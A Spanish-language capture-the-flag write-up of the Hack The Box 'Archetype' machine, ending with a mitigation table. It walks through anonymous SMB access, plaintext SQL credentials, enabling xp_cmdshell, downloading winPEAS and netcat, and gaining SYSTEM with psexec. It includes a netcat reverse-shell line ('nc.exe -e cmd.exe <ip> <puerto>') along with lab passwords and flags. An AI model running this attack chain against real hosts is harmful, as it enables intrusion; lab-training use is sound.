// 01
Reconocimiento
Archetype es una máquina Windows de dificultad Very Easy que encadena fallos muy habituales en entornos corporativos reales: un Microsoft SQL Server mal configurado, un recurso SMB accesible sin autenticación y credenciales en texto plano dentro de un archivo de configuración. El objetivo didáctico es claro — ver cómo un dato olvidado en un share lleva, paso a paso, de ningún acceso a SYSTEM.
Lanzamos un escaneo completo de los 65 535 puertos TCP con detección de servicios y scripts por defecto. La pregunta que guía esta fase es «¿qué puerto aloja un servidor de base de datos?» — y la respuesta está en el 1433.
// EL PUERTO DE LA BASE DE DATOS
El servicio ms-sql-s en el puerto 1433 es Microsoft SQL Server 2017. Es el objetivo de esta máquina: si conseguimos credenciales válidas podremos autenticarnos contra él y, desde SQL, ejecutar comandos en el sistema operativo. El puerto 445 (SMB) será la vía para obtener esas credenciales.
Como escribimos la salida en XML con -oX, la transformamos en un reporte HTML navegable con xsltproc y la hoja de estilos que trae nmap. Es cómodo para revisar los resultados de un vistazo.
// 02
SMB · Credenciales en claro
Con smbclient -L listamos los recursos compartidos del servidor
usando una sesión nula (-N, sin contraseña). El
recurso no administrativo que nos interesa es backups
— los que terminan en $ (ADMIN$, C$, IPC$) son administrativos u ocultos.
Nos conectamos al recurso backups, listamos su contenido con ls y descargamos el único archivo que contiene — prod.dtsConfig — con get.
El archivo prod.dtsConfig es la configuración de un paquete SSIS/DTS de SQL Server. Dentro guarda una cadena de conexión con el usuario y la contraseña en texto plano:
// CREDENCIALES EXPUESTAS
Usuario ARCHETYPE\sql_svc y contraseña M3g4c0rp123. Es la cuenta de servicio del SQL Server, guardada en claro en un archivo accesible por cualquiera vía SMB sin autenticación. Con estas credenciales pasamos directamente a atacar el 1433.
// 03
MSSQL · xp_cmdshell
El script de la colección Impacket que establece una conexión
autenticada a Microsoft SQL Server es mssqlclient.py
(impacket-mssqlclient en Kali). Lo localizamos así:
Nos conectamos con las credenciales obtenidas. Como sql_svc es una cuenta de
dominio local (ARCHETYPE\sql_svc) usamos -windows-auth
para autenticar por NTLM en vez de por login SQL. Ojo con la barra: en la
terminal de Linux la ruta se escribe con / (ARCHETYPE/sql_svc), no con
la \ de Windows.
El procedimiento almacenado extendido que genera una shell de comandos de Windows desde SQL es
xp_cmdshell. Viene deshabilitado por defecto, así
que primero activamos las opciones avanzadas y luego el propio procedimiento, aplicando cada
cambio con RECONFIGURE:
// QUÉ ES xp_cmdshell
xp_cmdshell es un procedimiento almacenado extendido de SQL Server que ejecuta
cadenas de línea de comandos de Windows (cmd.exe) directamente desde T-SQL y
devuelve la salida como filas de texto. Por el riesgo que supone está apagado de fábrica;
habilitarlo requiere permisos elevados — que aquí tenemos porque sql_svc es
sysadmin sobre la instancia.
Ya con ejecución de comandos, enumeramos el escritorio de sql_svc y leemos
user.txt:
// FLAG DE USUARIO
3e7b102e78218e935bf3f4951fec21a3 — obtenida vía SMB → credenciales en claro →
MSSQL xp_cmdshell. Nos queda escalar a Administrator.
// 04
Escalada · PowerShell History
Para escalar necesitamos dos binarios en la víctima: winPEASx64.exe (el script que busca rutas de escalada de privilegios en Windows) y nc.exe (netcat, para una shell más cómoda). Los copiamos a un directorio de trabajo y los servimos por HTTP desde Kali:
Desde el prompt SQL, con xp_cmdshell y Invoke-WebRequest de
PowerShell, bajamos los dos binarios al escritorio de sql_svc. Sustituye
10.10.16.7 por la IP de tu interfaz tun0 de la VPN.
Dejamos netcat a la escucha en Kali y, desde SQL, lanzamos nc.exe contra nuestra IP
para recibir una shell interactiva como sql_svc:
Ejecutamos winpeas.exe (o winpeas.exe > winpeas_full.txt
para guardar el informe). Entre sus hallazgos, en la sección de PowerShell,
aparece la joya: un archivo de historial de PowerShell que PSReadLine guarda
automáticamente con todo lo que el usuario escribió.
Volcamos el contenido del historial. Dentro hay un comando que un administrador dejó olvidado, montando un recurso de red con su propia contraseña en claro:
// CONTRASEÑA DE ADMINISTRATOR
El historial revela la contraseña de la cuenta administrator: MEGACORP_4dm1n!!. Con ella ya podemos autenticarnos como administrador del sistema y conseguir la flag de root.
Usamos impacket-psexec para obtener una shell como
NT AUTHORITY\SYSTEM con las credenciales de administrator. (La IP cambia en
cada despliegue de la máquina; aquí ya aparecía como 10.129.4.229.)
// FLAG DE ROOT
b91ccec3305e98240082d4474b848528 — acceso como
NT AUTHORITY\SYSTEM vía impacket-psexec con la contraseña de
administrator rescatada del historial de PowerShell.
// LECCIÓN
Archetype es una cadena de descuidos encadenados: un share SMB sin autenticar
con un archivo de configuración, credenciales en texto plano dentro de él, una
cuenta de servicio con permisos de sysadmin en SQL, y una contraseña de
administrador olvidada en el historial de PowerShell. La mitigación pasa por
cerrar los recursos anónimos, no guardar secretos en configs ni dejarlos en el historial
(Set-PSReadLineOption -HistorySaveStyle SaveNothing), aplicar el mínimo privilegio
a las cuentas de servicio y no reutilizar la contraseña del administrador.
| VULNERABILIDAD | COMPONENTE | IMPACTO |
|---|---|---|
| Recurso SMB anónimo | Share \\backups (sesión nula) | Lectura de prod.dtsConfig sin credenciales |
| Credenciales en claro | prod.dtsConfig (cadena de conexión) | Usuario y contraseña del servicio SQL expuestos |
| xp_cmdshell | MSSQL 2017 · cuenta sysadmin | Ejecución de comandos del SO desde SQL |
| Secreto en el historial | PSReadLine ConsoleHost_history.txt | Contraseña de Administrator → SYSTEM |
// 05
Referencia de Comandos
- -p- — los 65 535 puertos TCP
- -sSCV — SYN scan + scripts por defecto (-sC) + versión (-sV)
- -n -Pn — sin DNS y sin ping previo (asume host vivo)
- --min-rate=5000 — mínimo de paquetes por segundo
- -oX — salida en XML (para xsltproc)
- -L — lista los recursos compartidos del host
- -N — sin contraseña (sesión nula / null session)
- get <archivo> — descarga un archivo del share
- -windows-auth — autenticación NTLM (login de Windows, no SQL)
- DOMINIO/usuario — en Linux la barra es /, no \
- enable_xp_cmdshell — comando interno equivalente a los sp_configure
- show advanced options — expone las opciones avanzadas
- xp_cmdshell — activa el procedimiento (1 = on)
- RECONFIGURE — aplica el cambio de configuración
- -Uri — URL del recurso a descargar
- -OutFile — ruta destino en la víctima
- nc.exe -e cmd.exe <ip> <puerto> — reverse shell
- winPEASx64.exe — enumeración de privesc en Windows
- ConsoleHost_history.txt — historial de PSReadLine
- psexec usuario:pass@ip — ejecución remota como SYSTEM
// 06
Glosario
xp_cmdshell, lo que lo
convierte en un objetivo clásico cuando se obtienen credenciales válidas.
cmd.exe desde T-SQL y devuelve la salida como filas. Está deshabilitado por
defecto; se activa con sp_configure 'xp_cmdshell', 1 + RECONFIGURE,
algo que solo puede hacer una cuenta con rol sysadmin.
mssqlclient.py para la base de datos y
psexec.py para ejecutar comandos como SYSTEM a partir de credenciales válidas.
-N); si
el servidor la permite sobre un recurso, cualquiera puede listar y leer su contenido, como
ocurre aquí con el share backups.
.exe,
.bat, .ps1) que enumera automáticamente configuraciones débiles,
credenciales guardadas y rutas de escalada. Es el equivalente Windows de LinPEAS; aquí es quien
señala el historial de PowerShell.
ConsoleHost_history.txt, dentro del perfil del usuario. Es una fuente habitual de
secretos: contraseñas, rutas internas o comandos net use con credenciales, como el
que da acceso a Administrator en esta máquina.
ADMIN$ y lo arranca, obteniendo una shell como
NT AUTHORITY\SYSTEM. La versión de Impacket solo necesita credenciales válidas
de un usuario con acceso administrativo.
nc -lvnp). nc.exe -e cmd.exe ip puerto
entrega cmd.exe por esa conexión, dando una sesión interactiva más cómoda que
xp_cmdshell.